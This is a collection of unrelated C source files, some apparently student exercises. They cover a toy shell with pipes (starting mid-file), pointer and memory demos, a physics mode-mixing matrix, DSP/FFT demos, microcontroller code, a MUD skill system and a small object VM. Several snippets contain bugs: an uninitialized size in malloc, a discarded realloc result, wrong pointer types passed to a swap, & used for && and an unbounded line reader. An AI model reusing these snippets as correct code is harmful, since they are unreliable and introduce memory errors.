SHELL_STATUS_CONTINUE; } }else{ // CODIGO DO PAI waitpid(child, NULL, 0); // ESPERA child 1 } *index += 1; // proximo comando return SHELL_STATUS_CONTINUE; } int cmd_between_operator_handle_redirect_out_pipe(char** argv, char** cmd_tokens, int* index){ print_alert("identificado"); MULTIPLE_PIPES_FLAG = !MULTIPLE_PIPES_FLAG; pid_t child; if(MULTIPLE_PIPES_FLAG){ // if(pipe(GLOBAL_PIPE1) < 0) print_error("ERRO PIPE 1"); print_alert("criou pipe 1"); }else{ if(pipe(GLOBAL_PIPE2) < 0) print_error("ERRO PIPE 2"); print_alert("criou pipe 2"); } int args_after_cmd = count_args(cmd_tokens, *index + 1);// conta numero de 'argumentos' do proximo comando if( args_after_cmd != 1){ // um unico arquivo print_error("Especifique um unico arquivo: <cmd> > <arquivo.txt>"); return SHELL_STATUS_CONTINUE; } char* file_name = cmd_tokens[*index + 1]; // Get file name print_alert("File name:"); print_alert(file_name); child = fork(); if(child == 0){ print_alert("Middle Command"); if(MULTIPLE_PIPES_FLAG){ // IMPAR dup2(GLOBAL_PIPE2[READ_END], STDIN_FILENO);// LER DO PIPE 2 }else{ // PAR dup2(GLOBAL_PIPE1[READ_END], STDIN_FILENO);// LER DO PIPE 1 } // ESCREVER NO ARQUIVO int fd = open(file_name, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR); dup2(fd, STDOUT_FILENO); // close(fd); if(execvp(argv[0], argv) < 0) print_error("Comando possívelmente invalido ou incompleto:"); }else{ if(MULTIPLE_PIPES_FLAG){ // IMPAR close_fd(GLOBAL_PIPE2[READ_END]);// JA PASSOU PARA O child close_fd(GLOBAL_PIPE1[WRITE_END]); // SOMENTE child ESCREVE NO PIPE }else{ close_fd(GLOBAL_PIPE1[READ_END]);// JA PASSOU PARA O child close_fd(GLOBAL_PIPE2[WRITE_END]); // SOMENTE child ESCREVE NO PIPE } waitpid(child, NULL, 0); print_alert("child do meio terminou"); } *index += 1; // proximo comando return SHELL_STATUS_CONTINUE; } /*************************************** * Internal Commands *************************************** ***************************************/ int execute_internal_help(){ print_alert("-- Shell Internal Commands: --"); print_alert(" <help>: Show Internal Commands"); print_alert(" <close>: Close K-Shell"); return SHELL_STATUS_CONTINUE; } int execute_internal_last(){ print_alert(LAST_COMMAND_LINE); return SHELL_STATUS_CONTINUE; } /*************************************** * Funções e Procedimentos Auxiliares *************************************** ***************************************/ int count_args(char** argv, int index){ int i = index;// Conta o numero de tokens a partir de 'index' int argc = 0; char* arg = argv[i]; while(arg != NULL & !is_operador(arg)){ arg = argv[++i]; argc++; } return argc; } int exists_operator_before(char** commands, int index){ if(index <= 0) return FALSE; char* cmd = commands[index]; while(cmd != NULL && index >= 0){ if(is_operador(cmd)) return TRUE;// ha operador depois cmd = commands[--index]; } return FALSE; } int exists_operator_after(char** commands, int index){ char* cmd = commands[index]; while(cmd != NULL){ if(is_operador(cmd)) return TRUE;// ha operador depois cmd = commands[++index]; } return FALSE; } void close_pipes(){ if(GLOBAL_PIPE1[WRITE_END] != 0) close(GLOBAL_PIPE1[WRITE_END]); if(GLOBAL_PIPE1[READ_END] != 0) close(GLOBAL_PIPE1[READ_END]); if(GLOBAL_PIPE2[WRITE_END] != 0) close(GLOBAL_PIPE2[WRITE_END]); if(GLOBAL_PIPE2[READ_END] != 0) close(GLOBAL_PIPE2[READ_END]); } void read_line(char* buffer){ int c; // variavel auxiliar (int pois EOF = -1) int pos = 0; // indice da linha while(TRUE){ c = getchar(); if( c == EOF || c == '\n'){ // quebra de linha ou fim arqv buffer[pos] = '\0';// indica fim da linha return; // leitura completa }else{ buffer[pos] = c; // append no buffer de linha } pos++; // anda com o 'cursor' } } void print_commands(char** matrix){ int i =0; printf("\033[1;35m---------------\n Comandos:\n"); while(matrix[i] != NULL){ if(is_operador(matrix[i])) printf(" Operador %d: (%s)\n", i, matrix[i]); else if (is_command(matrix[i])) printf(" Comando %d: <<%s>>\n", i, matrix[i]); /*else print_error(" Operador/Comando invalido");*/ i++; } printf("---------------\033[0m\n"); } int is_operador_char(char c){ if( c == '|' || c == '&' || c == '<' || c == '>') return TRUE; return FALSE; } void close_fd(int fd){ if(fd != 0 && fd != 1) close(fd); } int is_operador(char* c){ if(c == NULL) // importante return FALSE; int i = 0; int cursor = c[i]; while(cursor != '\0' && cursor != EOF) cursor = c[++i]; if(i != 1) // operador de tamanho > 1 return FALSE; // Verifica no primeiro(e unico) char return is_operador_char(c[0]); } int is_operator(char* c, char operator){ if(c == NULL) // important return FALSE; int i = 0; int cursor = c[i]; while(cursor != '\0' && cursor != EOF) cursor = c[++i]; if(i != 1) // operador de tamanho > 1 return FALSE; // Verifica no primeiro(e unico) char return (c[0] == operator); } int is_command(char* c){ if(c == NULL) return FALSE; // verifica se tem um operador dentro do comando int i = 0; int cursor = c[i]; while(cursor != '\0' && cursor != EOF){ if(is_operador_char(cursor)) return FALSE; cursor = c[++i]; } return TRUE; } void print_error(char* c){ printf("\033[1;31mErro: %s\033[0m\n", c); } void print_alert(char* c){ printf("\033[01;33m--> %s \033[0m\n", c); } void printf_alert(char* format, char* c){ printf("\033[01;33m--> "); printf(format, c); printf("\033[0m\n"); }
C
#include <stdio.h> ///Exerccio 3: O programa 1 foi modificado levemente e virou 3. Complete os pedaos que faltam. void Troca (int *a, int *b) { int temp; temp = *a; *a = *b; *b = temp; } /* Fim de Troca */ int main (void) { int x, y; int *px, *py; /* Nao se usa isto normalmente. Isto um exerccio para aprendermos ponteiros */ px = &x; py = &y; /* * Como seria o comando scanf com px e py ao inves x e y? * Dica: lembre -se que era scanf("%d %d", &x, &y); * Agora olhe os dois comandos acima e verifique quem e igual * a &x e &y. */ scanf("%d %d",px ,py ); /* Como seria Troca com px e py? */ Troca( &px,&py ); /* Como seria printf com px e py? */ printf("Troquei ----> %d %d\n",*px ,*py ); return 0; }
C
/* list.h */ #ifndef LIST_H_ #define LIST_H_ #define MAX_USR_NAME 31 #define MAX_GR_NAME 31 #include "utils.h" enum fieldtype { PID, RCHAR, WCHAR, SYSR, SYSW, RFS, WFS} ; typedef struct Record{ char type; mode_t mode; int nlinks; char user[MAX_USR_NAME]; char group[MAX_GR_NAME]; long int size; char path[PATH_MAX + 1]; } Record; typedef struct Record2{ pid_t PID; unsigned long int RCHAR; unsigned long int WCHAR; unsigned long int SYSR; unsigned long int SYSW; unsigned long int RFS; unsigned long int WFS; } Record2; typedef struct Node{ void* record; struct Node* next; struct Node* previous; } Node; typedef struct List{ Node* head; Node* last; int size; } List; int createList(List** list); int destroyList(List* list); int insertList(List* list, Record* record, char *path); /* If path already exists in list, returns 1 */ void insertOrderedList(List* list,Record2* record, int field) ; int compareRecs(Record2* rec, Record2* curr, int field); int printList(List* list, int records); void printRecord(Record* record); void printRecord2(Record2* record); #endif
C
/* * Calculate the mode mixing matrix for 2D power spectrum measurements * Input: C_l power spectrum of a mask, e.g. output of anafast(mask) * Output: Mll' which describes \tilde C_l = anafast(mask*map) = M_ll' C_l * lmax, the dimension of Mll', is hard coded in main() * The input power spectrum should start with the l=0 element, i.e. mean(mask^2) */ #include <stdio.h> #include <math.h> #include <stdlib.h> #include <assert.h> #define WMAX 10000 #define LFT_LMAX 10000 double lft[LFT_LMAX]; /* * Fill the table of log factorials */ void fill_lft() { int i; for(i=1;i<LFT_LMAX;i++) { lft[i] = log(i); } lft[0] = lft[1]; for(i=1;i<LFT_LMAX;i++) { lft[i] = lft[i] + lft[i-1]; } } /* * Calculate a Wigner 3j symbol using the explicit formula from the appendix of the MASTER paper * For numerical stability, the rational function of factorials is computed as the * exponetial of the sum of logarithms of factorials. * Log factorials must be precomputed in the global array lft[] */ double wigner3j(int l1,int l2,int l3) { double sign,term1,term2,r; int L = l1 + l2 + l3; assert(L+1 < LFT_LMAX); if(abs(l1 - l2) > l3) return 0.; if(l3 > l1 + l2) return 0.; if(L%2 == 1) return 0.; if((L/2 % 2) == 0) sign = 1.; else sign = -1.; term1 = 0.5*(lft[L-2*l1] + lft[L-2*l2] + lft[L-2*l3] - lft[L+1]); term2 = lft[L/2] - lft[L/2 - l1] - lft[L/2 - l2] - lft[L/2 - l3]; r = sign * exp(term1 + term2); return r; } /* * Fill m with the mode mixing matrix Mll', with size lmax * lmax * w is the input power spectrum which must have size >= lmax */ void modemix(double *m, double *w, int lmax) { int l1,l2,l3; double w3j,s,t; for(l1=0;l1<lmax;l1++) { printf("%d ",l1); fflush(stdout); for(l2=0;l2<lmax;l2++) { s = (2*l2 + 1) / (4. * M_PI); t = 0.; int l3a = abs(l1-l2); int l3b = l1 + l2; for(l3=l3a;l3<=l3b;l3++) { w3j = wigner3j(l1,l2,l3); t += (2*l3+1) * w[l3] * w3j*w3j; } m[l1*lmax + l2] = s * t; } } printf("\n\n"); } void output_matrix(FILE *fo, double *m, int lmax) { int l1,l2; for(l1=0;l1<lmax;l1++) { for(l2=0;l2<lmax;l2++) { fprintf(fo,"%e ",m[l1*lmax+l2]); } fprintf(fo,"\n"); } fprintf(fo,"\n"); } int main(int argc, char **argv) { assert(argc == 4); fill_lft(); int i; double w[WMAX] = {0}; char *infn = argv[1]; char *outfn = argv[2]; int lmax = atoi(argv[3]); assert(LFT_LMAX >= 3*lmax+1); FILE *f = fopen(infn,"r"); for(i=0;i<WMAX;i++) { int res = fscanf(f,"%lf",&w[i]); if(res != 1) break; } fclose(f); printf("input power spectrum size = %d\n", i); assert(i >= lmax); printf("lmax = %d\n",lmax); double *m = (double *)calloc(lmax*lmax,sizeof(double)); modemix(m,w,lmax); FILE *fo = fopen(outfn,"w"); output_matrix(fo,m,lmax); fclose(fo); free(m); return 0; }
C
/* * program name:book1.c * author:neko date:20201126 */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include "_public.h" int get_str_from_XML(const char *xml, const char *filed_name, char *return_value); int get_int_from_XML(const char *xml, const char *filed_name, int *return_value); struct st_girl { char name[51]; int age; int height; double weight; char sc[31]; char yz[31]; }; int main() { struct st_girl *pst, queen, worker; memset(&queen, 0, sizeof(struct st_girl)); memset(&worker, 0, sizeof(struct st_girl)); char str[301]; memset(str, 0, sizeof(str)); pst=&queen; strcpy(pst->name, "xishi"); pst->age = 18; pst->height = 168; pst->weight = 48.5; strcpy(pst->sc, "awsome"); strcpy(pst->yz, "beauty"); sprintf(str, "<name>%s</name><age>%d</age><height>%d</height>"\ "<weight>%f<weight><sc>%s</sc><yz>%s</yz>",pst->name,\ pst->age, pst->height, pst->weight, pst->sc, pst->yz); //printf("=%s=\n", str); get_str_from_XML(str, "name", worker.name); get_int_from_XML(str, "age", &worker.age); printf("name: %s, age: %d\n",worker.name, worker.age); } int get_str_from_XML(const char *xml, const char *filed_name, char *return_value) { char start_label[51]; char end_label[51]; memset(start_label, 0, sizeof(start_label)); memset(end_label, 0, sizeof(end_label)); int len_fn = strlen(filed_name); int len_val = 0; char *start_index = 0; char *end_index = 0; //memset(start_index, 0, sizeof(start_index)); //memset(end_index, 0, sizeof(end_index)); sprintf(start_label, "<%s>", filed_name); sprintf(end_label, "</%s>", filed_name); //start_index = (char *)strstr(xml, start_label); start_index = (char *)strstr(xml, start_label); if (start_index == 0) return -1; //else end_index = (char *)strstr(start_index, end_label); else end_index = strstr(start_index, end_label); if (end_index == 0) return -1; else { len_val = end_index - start_index - len_fn - 2; strncpy(return_value, start_index + len_fn + 2, len_val); } return 0; } int get_int_from_XML(const char *xml, const char *filed_name, int *return_value) { char result[51]; memset(result, 0, sizeof(result)); //int *return_code = 0; //return_code = get_str_from_XML(char *xml, char *filed_name, int *return_value); if (get_str_from_XML(xml, filed_name, result)!= 0) return -1; else (*return_value) = atoi(result); return 0; }
C
//memory allocation动态分配内存 #include<stdio.h> #include<stdlib.h>//用于提供malloc原型 int main() { //使用动态内存分配要记住一点,你是借来的内存,要还 unsigned int n; int *i=NULL; i=(int*)malloc(n*sizeof(int));//动态分配n个int内存 i=(int*)calloc(n,sizeof(int));//动态分配n个int内存,并讲其中的元素值全变为0 realloc(i,n*sizeof(int));//将i里面容纳元素的范围增大到n个 free(i);//借完就要还 return 0; }
C
/****************************************************************************** * File Name : loopctl.h * Date First Issued : 08/17/2015 * Board : f103 * Description : Control loop for yogurt maker *******************************************************************************/ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __LOOPCTL #define __LOOPCTL #include <stdint.h> /* Used to return variables of interest for monitoring if it "works" */ struct LOOPCTL_STATE { uint32_t duration; // Time duration at temp (secs) int8_t state; // State machine double setpoint; // Current setpoint uint32_t secs; // Running seconds from DWT register uint32_t secs0; // End-point seconds}; uint32_t ipwm; // PWM setting float therm_ctl; // Current therm temp float looperr; // Current loop error * dP uint32_t secsref; // Measuring current time duration float derivative; // Derivative of loop error * dD float integral; // Integral * dI float derivative_a; }; /******************************************************************************/ void loopctl_setfan(uint32_t x); /* @brief : Set fan * @param : x: 0 = OFF * : 64001 = FULL ON * : (0 < x < 64000) = PWM (x / 64000) *******************************************************************************/ int loopctl_setstate(uint8_t s); /* @brief : Set state (edit for valid codes) * @param : s: 0 = Idle; * : 1 = Pasteurize; * : 11 = Ferment; * @return : 0 = OK; not zero = illegal state number *******************************************************************************/ int8_t loopctl_getstate(void); /* @return : current value of 'state' *******************************************************************************/ struct LOOPCTL_STATE* loopctl_poll(double therm_ctl, double therm_shell, double therm_airin); /* @brief : Update power PWM and fan * @param : therm_ctl = temperature reading (deg F) of control pt * @param : therm_shell = temperature reading (deg F) of shell * @param : therm_airin = ambient temperature (deg F) * @return : pointer to loop values struct *******************************************************************************/ void loopctl_init(double therm_airin); /* @brief : Init * @param : therm_airin = ambient temperature (deg F) *******************************************************************************/ void loopctl_triptimeout(void); /* @return : Cause timeout to expire *******************************************************************************/ #endif
C
#include <stdio.h> #include <stdlib.h> #include <time.h> #include "..\source\c\dsprocessing.c" /* Main example for FFT and DFT, files or whatever as input (stdin) whatch out for the maximum size */ #define nsMax 10000 void Dft_Fft_Demo(){ unsigned int i=0, ns, ns_2; /* counter, input size, power 2 size */ double samples[nsMax]; /* input signal */ double *an, *bn; /* real and imaginary coeficients */ double *samples_2; /* padded with zeros signal */ unsigned int time_; double *isamples; /* ifft result */ /* numero de amostras que vem, tudo o que estiver no arquivo */ printf("Type the input signal just the values, after type any non number character\n"); for(i=0; scanf("%lf", &samples[i])==1; i++){} /* leh as amostras */ ns=i; ns_2 = ns; samples_2 = samples; /* Comparing FFT with DFT, so the input signal must be power2 size because my function doesnt work for not power 2 size */ if(isPower2(ns)==-1) { /* if its not get the next, realloc the array padding with zeros*/ ns_2 = nextPower2(ns); samples_2 = (double*) malloc(sizeof(double)*ns_2); vCopiav(samples, samples_2, ns); /* padd the rest with zeros */ for(i=ns; i<ns_2; i++) samples_2[i] = 0; /* ready */ } /* after padding with zeros */ fprintf(stderr,"\n n %u ns_2 %u\n", ns, ns_2); vPrintf(stderr, samples_2, ns_2); /* Dft first */ dspDft_(samples_2, ns_2, &an, &bn); /* calcula os coeficientes real imaginarios*/ fprintf(stderr, "\n complex coefs Dft\n"); for(i=0; i<ns_2; i++) /* imprime as belezinhas */ printf("%lf %lf\n", an[i], bn[i]); free(an); free(bn); /* Fft after */ dspFft_(samples_2, ns_2, &an, &bn); fprintf(stderr, "\n complex coefs Fft\n"); for(i=0; i<ns_2; i++) /* imprime as belezinhas */ printf("%lf %lf\n", an[i], bn[i]); /* IFft after */ dspIFft_(an, bn, ns_2, &isamples); fprintf(stderr, "\n Inverse Fft real values\n"); vPrintf(stderr, isamples, ns_2); free(an); free(bn); } /* Convolution games Demo Not efficient algorithm though working (Slide and sum) Convolution with Fft nicest way */ void Convolution_Demo(){ double *h, *x, *y; /* impulsiva, entrada, saida */ int Nh, Nx; /* tamanho dos sinais */ int t; /* counters */ printf("Type the impulse response for the sistem, size and data\n"); scanf("%d", &Nh); h = (double*) malloc(sizeof(double)*Nh); for(t=0;t<Nh;t++) scanf("%lf", &h[t]); printf("Type the input signal, size and data \n"); scanf("%d", &Nx); x = (double*) malloc(sizeof(double)*Nx); for(t=0;t<Nx;t++) scanf("%lf", &x[t]); printf("Result Slow slide and sum approach\n"); y = dspConv(x, Nx, h, Nh); vPrintf(stdout, y, Nx+Nh-1); printf("Result Nicest approach (dspConvFft my C code)\n"); y = dspConvFft(x, Nx, h, Nh); vPrintf(stdout, y, Nx+Nh-1); } /* Correlation Demos same size signal correlation Uses: mathlab code approach also not very effient (time performance) poor C slide invert convolution approach nicest fft conv (time inverted) approach */ void Correlation_Demo(){ double *a, *b, *y; /* entrada, entrada, saida */ int Na, Nb, N; /* tamanho dos sinais */ int t; /* counters */ printf("first signal: size and data\n"); scanf("%d", &Na); a = (double*) malloc(sizeof(double)*Na); for(t=0;t<Na;t++) scanf("%lf", &a[t]); printf("second signal: size and data\n"); scanf("%d", &Nb); b = (double*) malloc(sizeof(double)*Nb); for(t=0;t<Nb;t++) scanf("%lf", &b[t]); /* padd with zeros so they can have the same size */ N = Na; if(Na != Nb){ /* padd with zeros the smaller */ N = (Na > Nb)? Na : Nb; if(Na != N) a = dspAppend(a, Na, dspZeros(N-Na), N-Na); else b = dspAppend(b, Nb, dspZeros(N-Nb), N-Nb); } y = dspCorrx(b, a, N, -1); /* -1 force the use of size maximum as number of lags */ printf("output signal (xCorr Matlab)\n"); vPrintf(stdout, y, 2*N-1); /* Calculates correlation between signals uses convolution approach (algorithm not performance focussed) */ printf("output signal (dspCorr my C code)\n"); y = dspCorr(b, N, a, N); vPrintf(stdout, y, 2*N-1); /* Calculates correlation between signals uses Fft convolution approach */ printf("output signal (dspCorrFft my C code)\n"); y = dspCorrFft(a, N, b, N); vPrintf(stdout, y, 2*N-1); } /* (You can use pipes < > to redirect the input/output from/to a file Use the main to call any of the demo examples */ int main(){ //Dft_Fft_Demo(); //Convolution_Demo(); Correlation_Demo(); printf("\n"); system("PAUSE"); return 0; }
C
/* * my_it_callbacks.c * * Created on: 10-03-2020 * Author: julio * Basado en: https://www.youtube.com/watch?v=VdHt_wJdezM */ #include "my_it_callbacks.h" uint8_t ok[4] = {'o','k','\r','\n'}; static uint8_t buffer[10]; uint8_t interrupciones = 0; uint8_t indice = 0; uint8_t data; void HAL_UART_RxCpltCallback (UART_HandleTypeDef *huart) { if(huart->Instance == USART2) { if(indice == 0) { for (int i = 0; i < 10; i++) { buffer[i] = 0; } } if(data != '\n')//esto se usa para indicar que cuando termina un mensaje { buffer[indice++] = data; } else //el mensaje DEBE tener '\n' al final para entrar en este else { indice = 0; interrupciones += 1; HAL_UART_Transmit(&huart2, ok, 4, 100); //cuando el MCU recibe algo enva 'ok' if(buffer[0] == 'o' && buffer[1] == 'n' && buffer[2] == '\0') //al enviar on\n se prende //el caracter \0 es para asegurar que solo se mand 'on\n' y no, por ejemplo, 'onu\n' { HAL_GPIO_WritePin(GPIOA,LD2_Pin,GPIO_PIN_SET); } else if(buffer[0] == 'o' && buffer[1] == 'f' && buffer[2] == 'f' && buffer[3] == '\0') //al enviar off\n se apaga { HAL_GPIO_WritePin(GPIOA,LD2_Pin,GPIO_PIN_RESET); } } HAL_UART_Receive_IT(&huart2, &data, 1); } }
C
#include <stdio.h> int main() { int k,kasus; int angka,i,j,temp[1001],count; long long unsigned faktor=1; scanf("%d",&kasus); for(k=1;k<=kasus;k++) { scanf("%d",&angka); printf("Case #%d:\n",k); for(i=0;i<1001;i++) { temp[i]=0; } for(j=1;j<=angka;j++) { faktor=j; for(i=1;i<=faktor;i++) { int i = 2; while(faktor!=1) { if(faktor%i==0) { while(faktor%i==0) { temp[i]++; faktor=faktor/i; } } i++; } } } for(i=1;i<=angka;i++) { if(temp[i] !=0) { printf("%d %d\n",i,temp[i]); } } } return 0; }
C
#include <stdio.h> /* myHead : displayArr : start */ void displayArr(int arr[], int len) { for(int i = 0 ; i < len ; i++) { printf("%d ", arr[i]); } printf("\n"); } /* myHead : displayArr : end */ /* myHead : insertion_sort : start */ void insertion_sort(int arr[], int index) { int value = arr[index]; int i; for( i = index ; i > 0 ; i-- ) { if(arr[i-1] > value) { arr[i] = arr[i-1]; } else { break; } } arr[i] = value; } /* myHead : insertion_sort : end */
C
static string skill; static int skill_points; static int skill_verb; static string skill_wiz; static string Teacher; ABuildPoints(int num){ BuildPoint += num; return; } RBuildPoints(int num){ BuildPoint -= num; return; } ASkillPoints(int num){ SkillPoint += num; return; } RSkillPoints(int num){ SkillPoint -= num; return; } QSkillPoints(){ return SkillPoint; } QBuildPoints(){ return BuildPoint; } TrainRangerSkill(string skill_name, int skill_verb_num, string skill_wiz_name, string teacher, int per){ skill = skill_name; skill_verb = skill_verb_num; skill_wiz = skill_wiz_name; if (QSkill(skill_name)) skill_points = QuerySkillLevel(skill_name); else skill_points = 0; if ( QSkillPoints() == 0 ){ return; } if (per < random(100) ){ return; } Teacher = teacher; call_out("message",1); input_to("FinishTrainRanger"); return; } message(){ tell_object(ENVOB,Teacher+" asks: Would you like to advance your skill in "+skill+"?\n"); tell_object(ENVOB ,"Your current level is "+skill_points+".\n"); } FinishTrainRanger(string ack){ if(ack == "yes"){ ASkillPoints(-1); skill_points += 1; AddSkill(skill, skill_points, skill_verb, skill_wiz); tell_object(ENVOB, "You have advanced your skill in "+skill+".\n"); } else { tell_object(ENVOB, "You can advance that skill another time then.\n"); return; } return; } QNextSkillCost(){ return NextSkillCost; } ConvertSkillPoint(){ int rep; if(BuildPoint > NextSkillCost){ while(BuildPoint > NextSkillCost){ RBuildPoints(NextSkillCost); ASkillPoints(1); NextSkillCost = NextSkillCost * 104; NextSkillCost = NextSkillCost / 100; rep += 1; } write("You have added "+rep+" skill point(s), which you may use to advance any skill.\n"); write("Your next skill will cost you "+NextSkillCost+".\n"); return 1; } else { write("You have not invested enough to obtain the next skill point.\n"); return 1; } }
C
// // array.c // ObjectVM // // Created by Kyle Roucis on 13-12-6. // Copyright (c) 2013 Kyle Roucis. All rights reserved. // #include "array.h" #include "object.h" #include "class.h" #include "vm.h" #include "block.h" #include "primitive_table.h" #include "integer.h" #include "clkwk_debug.h" #include <stdlib.h> #include <stdio.h> #include <assert.h> #include <memory.h> static uint8_t const c_array_baseStorage = 10; static uint8_t const c_array_growthFactor = 2; //struct array_entry //{ // object** contents; // struct array_entry* next; //}; #pragma mark Array struct array { struct object_header header; object** contents; uint64_t count; uint64_t capacity; }; /* + alloc - dealloc - count - objectAtIndex: - add: - remove: - contains: - isEmpty - indexOf: */ #pragma mark - Bound Methods static void array_alloc_native(object* klass, clockwork_vm* vm) { clkwk_push(vm, (object*)array_init(vm)); } static void array_dealloc_native(object* instance, clockwork_vm* vm) { array* ary = (array*)instance; uint64_t count = array_count(ary, vm); if (count > 0) { for (uint64_t i = 0; i < count; i++) { clkwk_push(vm, ary->contents[i]); clkwk_dispatch(vm, "release", 0); clkwk_pop(vm); } clkwk_free(vm, ary->contents); } clkwk_pushSuper(vm); clkwk_dispatch(vm, "dealloc", 0); clkwk_free(vm, instance); clkwk_pop(vm); clkwk_pushNil(vm); clkwk_return(vm); } static void array_count_native(object* instance, clockwork_vm* vm) { array* ary = (array*)instance; clkwk_push(vm, (object*)integer_init(vm, array_count(ary, vm))); clkwk_return(vm); } static void array_objectAtIndex_native(object* instance, clockwork_vm* vm) { array* ary = (array*)instance; object* obj = clkwk_getLocal(vm, 0); integer* idx = (integer*)obj; if (!object_isMemberOfClass_native(obj, (class*)clkwk_getConstant(vm, "Integer"))) // Not super sure if I actually want type coercion. { clkwk_push(vm, obj); clkwk_dispatch(vm, "toInt", 0); idx = (integer*)clkwk_pop(vm); #warning CONFIRM idx IS ACTUALLY AN INTEGER? } object* result = array_objectAtIndex(ary, vm, integer_toInt64(idx, vm)); if (result) { clkwk_push(vm, result); } else { clkwk_pushNil(vm); } clkwk_return(vm); } static void array_add_native(object* instance, clockwork_vm* vm) { array* ary = (array*)instance; object* obj = clkwk_getLocal(vm, 0); array_add(ary, vm, obj); clkwk_push(vm, instance); clkwk_return(vm); } static void array_remove_native(object* instance, clockwork_vm* vm) { array* ary = (array*)instance; object* obj = clkwk_getLocal(vm, 0); boolean removed = No; for (uint64_t i = 0; i < array_count(ary, vm); i++) { clkwk_push(vm, array_objectAtIndex(ary, vm, i)); clkwk_push(vm, obj); clkwk_dispatch(vm, "isEqual:", 1); if (object_isTrue(clkwk_pop(vm), vm)) { array_remove(ary, vm, obj); removed = Yes; } } if (removed) { clkwk_push(vm, obj); } else { clkwk_pushNil(vm); } clkwk_return(vm); } static void array_isEmpty_native(object* instance, clockwork_vm* vm) { array* ary = (array*)instance; if (array_count(ary, vm) == 0) { clkwk_pushTrue(vm); } else { clkwk_pushFalse(vm); } clkwk_return(vm); } static void array_contains_native(object* instance, clockwork_vm* vm) { array* ary = (array*)instance; object* obj = clkwk_getLocal(vm, 0); boolean found = No; for (int i = 0; i < array_count(ary, vm); i++) { clkwk_push(vm, array_objectAtIndex(ary, vm, i)); clkwk_push(vm, obj); clkwk_dispatch(vm, "isEqual:", 1); if (object_isTrue(clkwk_pop(vm), vm)) { found = Yes; break; } } if (found) { clkwk_pushTrue(vm); } else { clkwk_pushFalse(vm); } clkwk_return(vm); } static void array_indexOf_native(object* instance, clockwork_vm* vm) { array* ary = (array*)instance; object* obj = clkwk_getLocal(vm, 0); for (uint64_t i = 0; i < array_count(ary, vm); i++) { clkwk_push(vm, array_objectAtIndex(ary, vm, i)); clkwk_push(vm, obj); clkwk_dispatch(vm, "isEqual:", 1); if (object_isTrue(clkwk_pop(vm), vm)) { clkwk_push(vm, (object*)integer_init(vm, i)); return; } } clkwk_pushNil(vm); clkwk_return(vm); } #pragma mark - Native Methods class* array_class(clockwork_vm* vm) { class* arrayClass = class_init(vm, "Array", "Object"); class_addClassMethod(arrayClass, vm, "alloc", block_init_native(vm, 0, 0, &array_alloc_native)); class_addInstanceMethod(arrayClass, vm, "dealloc", block_init_native(vm, 0, 0, &array_dealloc_native)); class_addInstanceMethod(arrayClass, vm, "count", block_init_native(vm, 0, 0, &array_count_native)); { class_addInstanceMethod(arrayClass, vm, "objectAtIndex:", block_init_native(vm, 1, 0, &array_objectAtIndex_native)); } { class_addInstanceMethod(arrayClass, vm, "add:", block_init_native(vm, 1, 0, &array_add_native)); } { class_addInstanceMethod(arrayClass, vm, "remove:", block_init_native(vm, 1, 0, &array_remove_native)); } { class_addInstanceMethod(arrayClass, vm, "contains:", block_init_native(vm, 1, 0, &array_contains_native)); } { class_addInstanceMethod(arrayClass, vm, "indexOf:", block_init_native(vm, 1, 0, &array_indexOf_native)); } { class_addInstanceMethod(arrayClass, vm, "isEmpty", block_init_native(vm, 0, 0, &array_isEmpty_native)); } #ifdef CLKWK_PRINT_SIZES CLKWK_DBGPRNT("Array: %lu\n", sizeof(array)); #endif return arrayClass; } array* array_init(clockwork_vm* vm) { assert(vm); object* arraySuper = object_init(vm); array* ary = (array*)object_create_super(vm, arraySuper, (class*)clkwk_getConstant(vm, "Array"), sizeof(array)); ary->header.size = sizeof(array); return ary; } array* array_initWithObjects(clockwork_vm* vm, object** objects, uint64_t count) { assert(vm); assert(objects); array* arrayInit = array_init(vm); for (uint64_t i = 0; i < count; i++) { array_add(arrayInit, vm, objects[i]); } return arrayInit; } uint64_t array_count(array* ary, clockwork_vm* vm) { assert(ary); assert(vm); return ary->count; } object* array_objectAtIndex(array* ary, clockwork_vm* vm, uint64_t index) { assert(ary); assert(vm); if (index < ary->count) { return ary->contents[index]; } else { #ifdef CLKWK_DEBUG printf("ARRAY INDEX %llu OUT OF RANGE %llu", index, ary->count); #endif return NULL; } } void array_add(array* ary, clockwork_vm* vm, object* obj) { assert(ary); assert(vm); // OK to add nil? if (ary->contents == NULL) { ary->contents = clkwk_allocate(vm, sizeof(object*) * c_array_baseStorage); ary->capacity = c_array_baseStorage; } else if (ary->count + 1 > ary->capacity) { uint64_t old_cap = ary->capacity; ary->capacity *= c_array_growthFactor; object** new_storage = clkwk_allocate(vm, sizeof(object*) * ary->capacity); memcpy(new_storage, ary->contents, old_cap * sizeof(object*)); clkwk_free(vm, ary->contents); ary->contents = new_storage; } clkwk_push(vm, obj); clkwk_dispatch(vm, "retain", 0); ary->contents[ary->count++] = clkwk_pop(vm); } void array_remove(array* ary, clockwork_vm* vm, object* obj) { assert(ary); assert(vm); for (uint64_t i = 0; i < ary->count; i++) { if (ary->contents[i] == obj) { array_removeAtIndex(ary, vm, i); } } } void array_removeAtIndex(array* ary, clockwork_vm* vm, uint64_t idx) { assert(ary); assert(vm); if (idx >= ary->count) { return; } clkwk_push(vm, ary->contents[idx]); clkwk_dispatch(vm, "release", 0); clkwk_pop(vm); for (uint64_t i = idx + 1; i < ary->count; i++) { ary->contents[i - 1] = ary->contents[i]; } ary->count--; if (ary->count < ary->capacity / (c_array_growthFactor * 2) && ary->capacity > c_array_baseStorage) { uint64_t old_cap = ary->capacity; ary->capacity /= c_array_growthFactor; object** new_storage = clkwk_allocate(vm, sizeof(object*) * ary->capacity); memcpy(new_storage, ary->contents, old_cap * sizeof(object*)); clkwk_free(vm, ary->contents); ary->contents = new_storage; } } void array_each(array* ary, struct clockwork_vm* vm, void(*itr_func)(uint64_t, struct object*)) { for (uint64_t i = 0; i < array_count(ary, vm); i++) { itr_func(i, ary->contents[i]); } }
C
#include<stdio.h> #include<math.h> int main(void){ float r, k; double x, x0, xx; int t; r=0.4; k=1000; x0=10; FILE *fp; fp=fopen("output.dat", "a"); fprintf(fp, "%d, %f\n", 0, x0); x=x0; for(t=0; t<300; t++){ xx=x+r*(1-x/k)*x; fprintf(fp, "%d, %f\n", t, xx); x=xx; } fclose(fp); return 0; }
C
